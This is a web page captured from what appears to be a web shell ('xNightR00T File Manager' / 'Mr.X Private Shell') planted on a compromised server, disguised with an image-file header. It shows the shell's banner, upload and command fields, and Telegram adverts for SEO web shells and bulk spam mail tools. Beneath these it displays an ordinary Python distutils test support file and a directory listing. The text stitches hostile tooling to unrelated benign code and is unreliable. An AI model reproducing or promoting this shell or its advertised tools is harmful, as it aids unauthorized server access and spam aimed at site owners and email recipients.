xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
"""Support code for distutils test cases."""
import os
import sys
import shutil
import tempfile
import unittest
import sysconfig
from copy import deepcopy
import warnings

from distutils import log
from distutils.log import DEBUG, INFO, WARN, ERROR, FATAL
from distutils.core import Distribution


def capture_warnings(func):
    def _capture_warnings(*args, **kw):
        with warnings.catch_warnings():
            warnings.simplefilter("ignore")
            return func(*args, **kw)
    return _capture_warnings


class LoggingSilencer(object):

    def setUp(self):
        super(LoggingSilencer, self).setUp()
        self.threshold = log.set_threshold(log.FATAL)
        # catching warnings
        # when log will be replaced by logging
        # we won't need such monkey-patch anymore
        self._old_log = log.Log._log
        log.Log._log = self._log
        self.logs = []

    def tearDown(self):
        log.set_threshold(self.threshold)
        log.Log._log = self._old_log
        super(LoggingSilencer, self).tearDown()

    def _log(self, level, msg, args):
        if level not in (DEBUG, INFO, WARN, ERROR, FATAL):
            raise ValueError('%s wrong log level' % str(level))
        self.logs.append((level, msg, args))

    def get_logs(self, *levels):
        def _format(msg, args):
            if len(args) == 0:
                return msg
            return msg % args
        return [_format(msg, args) for level, msg, args
                in self.logs if level in levels]

    def clear_logs(self):
        self.logs = []


class TempdirManager(object):
    """Mix-in class that handles temporary directories for test cases.

    This is intended to be used with unittest.TestCase.
    """

    def setUp(self):
        super(TempdirManager, self).setUp()
        self.old_cwd = os.getcwd()
        self.tempdirs = []

    def tearDown(self):
        # Restore working dir, for Solaris and derivatives, where rmdir()
        # on the current directory fails.
        os.chdir(self.old_cwd)
        super(TempdirManager, self).tearDown()
        while self.tempdirs:
            d = self.tempdirs.pop()
            shutil.rmtree(d, os.name in ('nt', 'cygwin'))

    def mkdtemp(self):
        """Create a temporary directory that will be cleaned up.

        Returns the path of the directory.
        """
        d = tempfile.mkdtemp()
        self.tempdirs.append(d)
        return d

    def write_file(self, path, content='xxx'):
        """Writes a file in the given path.


        path can be a string or a sequence.
        """
        if isinstance(path, (list, tuple)):
            path = os.path.join(*path)
        f = open(path, 'w')
        try:
            f.write(content)
        finally:
            f.close()

    def create_dist(self, pkg_name='foo', **kw):
        """Will generate a test environment.

        This function creates:
         - a Distribution instance using keywords
         - a temporary directory with a package structure

        It returns the package directory and the distribution
        instance.
        """
        tmp_dir = self.mkdtemp()
        pkg_dir = os.path.join(tmp_dir, pkg_name)
        os.mkdir(pkg_dir)
        dist = Distribution(attrs=kw)

        return pkg_dir, dist


class DummyCommand:
    """Class to store options for retrieval via set_undefined_options()."""

    def __init__(self, **kwargs):
        for kw, val in kwargs.items():
            setattr(self, kw, val)

    def ensure_finalized(self):
        pass


class EnvironGuard(object):

    def setUp(self):
        super(EnvironGuard, self).setUp()
        self.old_environ = deepcopy(os.environ)

    def tearDown(self):
        for key, value in self.old_environ.items():
            if os.environ.get(key) != value:
                os.environ[key] = value

        for key in os.environ.keys():
            if key not in self.old_environ:
                del os.environ[key]

        super(EnvironGuard, self).tearDown()


def copy_xxmodule_c(directory):
    """Helper for tests that need the xxmodule.c source file.

    Example use:

        def test_compile(self):
            copy_xxmodule_c(self.tmpdir)
            self.assertIn('xxmodule.c', os.listdir(self.tmpdir))

    If the source file can be found, it will be copied to *directory*.  If not,
    the test will be skipped.  Errors during copy are not caught.
    """
    filename = _get_xxmodule_path()
    if filename is None:
        raise unittest.SkipTest('cannot find xxmodule.c (test must run in '
                                'the python build dir)')
    shutil.copy(filename, directory)


def _get_xxmodule_path():
    # FIXME when run from regrtest, srcdir seems to be '.', which does not help
    # us find the xxmodule.c file
    srcdir = sysconfig.get_config_var('srcdir')
    candidates = [
        # use installed copy if available
        os.path.join(os.path.dirname(__file__), 'xxmodule.c'),
        # otherwise try using copy from build directory
        os.path.join(srcdir, 'Modules', 'xxmodule.c'),
        # srcdir mysteriously can be $srcdir/Lib/distutils/tests when
        # this file is run from its parent directory, so walk up the
        # tree to find the real srcdir
        os.path.join(srcdir, '..', '..', '..', 'Modules', 'xxmodule.c'),
    ]
    for path in candidates:
        if os.path.exists(path):
            return path


def fixup_build_ext(cmd):
    """Function needed to make build_ext tests pass.

    When Python was build with --enable-shared on Unix, -L. is not good
    enough to find the libpython<blah>.so.  This is because regrtest runs
    it under a tempdir, not in the top level where the .so lives.  By the
    time we've gotten here, Python's already been chdir'd to the tempdir.

    When Python was built with in debug mode on Windows, build_ext commands
    need their debug attribute set, and it is not done automatically for
    some reason.

    This function handles both of these things.  Example use:

        cmd = build_ext(dist)
        support.fixup_build_ext(cmd)
        cmd.ensure_finalized()

    Unlike most other Unix platforms, Mac OS X embeds absolute paths
    to shared libraries into executables, so the fixup is not needed there.
    """
    if os.name == 'nt':
        cmd.debug = sys.executable.endswith('_d.exe')
    elif sysconfig.get_config_var('Py_ENABLE_SHARED'):
        # To further add to the shared builds fun on Unix, we can't just add
        # library_dirs to the Extension() instance because that doesn't get
        # plumbed through to the final compiler command.
        runshared = sysconfig.get_config_var('RUNSHARED')
        if runshared is None:
            cmd.library_dirs = ['.']
        else:
            if sys.platform == 'darwin':
                cmd.library_dirs = []
            else:
                name, equals, value = runshared.partition('=')
                cmd.library_dirs = [d for d in value.split(os.pathsep) if d]

Filemanager

Name Type Size Permission Actions
Setup.sample File 2.2 KB 0644
__init__.py File 1.04 KB 0644
__init__.pyc File 1.43 KB 0644
__init__.pyo File 1.43 KB 0644
includetest.rst File 25 B 0644
setuptools_build_ext.py File 11.22 KB 0644
setuptools_build_ext.pyc File 9.87 KB 0644
setuptools_build_ext.pyo File 9.83 KB 0644
setuptools_extension.py File 1.55 KB 0644
setuptools_extension.pyc File 2.1 KB 0644
setuptools_extension.pyo File 2.1 KB 0644
support.py File 6.81 KB 0644
support.pyc File 8.99 KB 0644
support.pyo File 8.99 KB 0644
test_archive_util.py File 10.8 KB 0644
test_archive_util.pyc File 10.14 KB 0644
test_archive_util.pyo File 10.14 KB 0644
test_bdist.py File 1.51 KB 0644
test_bdist.pyc File 1.98 KB 0644
test_bdist.pyo File 1.98 KB 0644
test_bdist_dumb.py File 3.47 KB 0644
test_bdist_dumb.pyc File 3.98 KB 0644
test_bdist_dumb.pyo File 3.98 KB 0644
test_bdist_msi.py File 733 B 0644
test_bdist_msi.pyc File 1.33 KB 0644
test_bdist_msi.pyo File 1.33 KB 0644
test_bdist_rpm.py File 4.93 KB 0644
test_bdist_rpm.pyc File 4.86 KB 0644
test_bdist_rpm.pyo File 4.86 KB 0644
test_bdist_wininst.py File 1.02 KB 0644
test_bdist_wininst.pyc File 1.33 KB 0644
test_bdist_wininst.pyo File 1.33 KB 0644
test_build.py File 1.88 KB 0644
test_build.pyc File 1.99 KB 0644
test_build.pyo File 1.99 KB 0644
test_build_clib.py File 4.87 KB 0644
test_build_clib.pyc File 4.76 KB 0644
test_build_clib.pyo File 4.76 KB 0644
test_build_ext.py File 19.69 KB 0644
test_build_ext.pyc File 15.46 KB 0644
test_build_ext.pyo File 15.46 KB 0644
test_build_py.py File 4.95 KB 0644
test_build_py.pyc File 4.6 KB 0644
test_build_py.pyo File 4.6 KB 0644
test_build_scripts.py File 3.5 KB 0644
test_build_scripts.pyc File 3.76 KB 0644
test_build_scripts.pyo File 3.76 KB 0644
test_ccompiler.py File 3.34 KB 0644
test_ccompiler.pyc File 4.92 KB 0644
test_ccompiler.pyo File 4.92 KB 0644
test_check.py File 5.61 KB 0644
test_check.pyc File 4.92 KB 0644
test_check.pyo File 4.92 KB 0644
test_clean.py File 1.44 KB 0644
test_clean.pyc File 1.84 KB 0644
test_clean.pyo File 1.84 KB 0644
test_cmd.py File 3.75 KB 0644
test_cmd.pyc File 5.08 KB 0644
test_cmd.pyo File 5.08 KB 0644
test_config.py File 3.11 KB 0644
test_config.pyc File 4.16 KB 0644
test_config.pyo File 4.16 KB 0644
test_config_cmd.py File 2.55 KB 0644
test_config_cmd.pyc File 3.81 KB 0644
test_config_cmd.pyo File 3.81 KB 0644
test_core.py File 3.09 KB 0644
test_core.pyc File 3.85 KB 0644
test_core.pyo File 3.85 KB 0644
test_dep_util.py File 2.77 KB 0644
test_dep_util.pyc File 2.82 KB 0644
test_dep_util.pyo File 2.82 KB 0644
test_dir_util.py File 4.28 KB 0644
test_dir_util.pyc File 5.14 KB 0644
test_dir_util.pyo File 5.14 KB 0644
test_dist.py File 15.48 KB 0644
test_dist.pyc File 16.31 KB 0644
test_dist.pyo File 16.31 KB 0644
test_file_util.py File 4 KB 0644
test_file_util.pyc File 4.96 KB 0644
test_file_util.pyo File 4.96 KB 0644
test_filelist.py File 9.84 KB 0644
test_filelist.pyc File 8.67 KB 0644
test_filelist.pyo File 8.67 KB 0644
test_install.py File 8.26 KB 0644
test_install.pyc File 8 KB 0644
test_install.pyo File 8 KB 0644
test_install_data.py File 2.55 KB 0644
test_install_data.pyc File 2.5 KB 0644
test_install_data.pyo File 2.5 KB 0644
test_install_headers.py File 1.24 KB 0644
test_install_headers.pyc File 1.74 KB 0644
test_install_headers.pyo File 1.74 KB 0644
test_install_lib.py File 3.51 KB 0644
test_install_lib.pyc File 4.17 KB 0644
test_install_lib.pyo File 4.17 KB 0644
test_install_scripts.py File 2.57 KB 0644
test_install_scripts.pyc File 2.92 KB 0644
test_install_scripts.pyo File 2.92 KB 0644
test_msvc9compiler.py File 5.91 KB 0644
test_msvc9compiler.pyc File 6.04 KB 0644
test_msvc9compiler.pyo File 6.04 KB 0644
test_register.py File 8.63 KB 0644
test_register.pyc File 8.43 KB 0644
test_register.pyo File 8.43 KB 0644
test_sdist.py File 17.07 KB 0644
test_sdist.pyc File 14.27 KB 0644
test_sdist.pyo File 14.27 KB 0644
test_spawn.py File 3.55 KB 0644
test_spawn.pyc File 3.3 KB 0644
test_spawn.pyo File 3.3 KB 0644
test_sysconfig.py File 9.16 KB 0644
test_sysconfig.pyc File 8.33 KB 0644
test_sysconfig.pyo File 8.33 KB 0644
test_text_file.py File 3.36 KB 0644
test_text_file.pyc File 2.78 KB 0644
test_text_file.pyo File 2.78 KB 0644
test_unixccompiler.py File 4.92 KB 0644
test_unixccompiler.pyc File 5.83 KB 0644
test_unixccompiler.pyo File 5.83 KB 0644
test_upload.py File 4.9 KB 0644
test_upload.pyc File 5.88 KB 0644
test_upload.pyo File 5.88 KB 0644
test_util.py File 2.34 KB 0644
test_util.pyc File 3.11 KB 0644
test_util.pyo File 3.11 KB 0644
test_version.py File 2.56 KB 0644
test_version.pyc File 3.13 KB 0644
test_version.pyo File 3.13 KB 0644
test_versionpredicate.py File 285 B 0644
test_versionpredicate.pyc File 653 B 0644
test_versionpredicate.pyo File 653 B 0644
xxmodule.c File 11.73 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1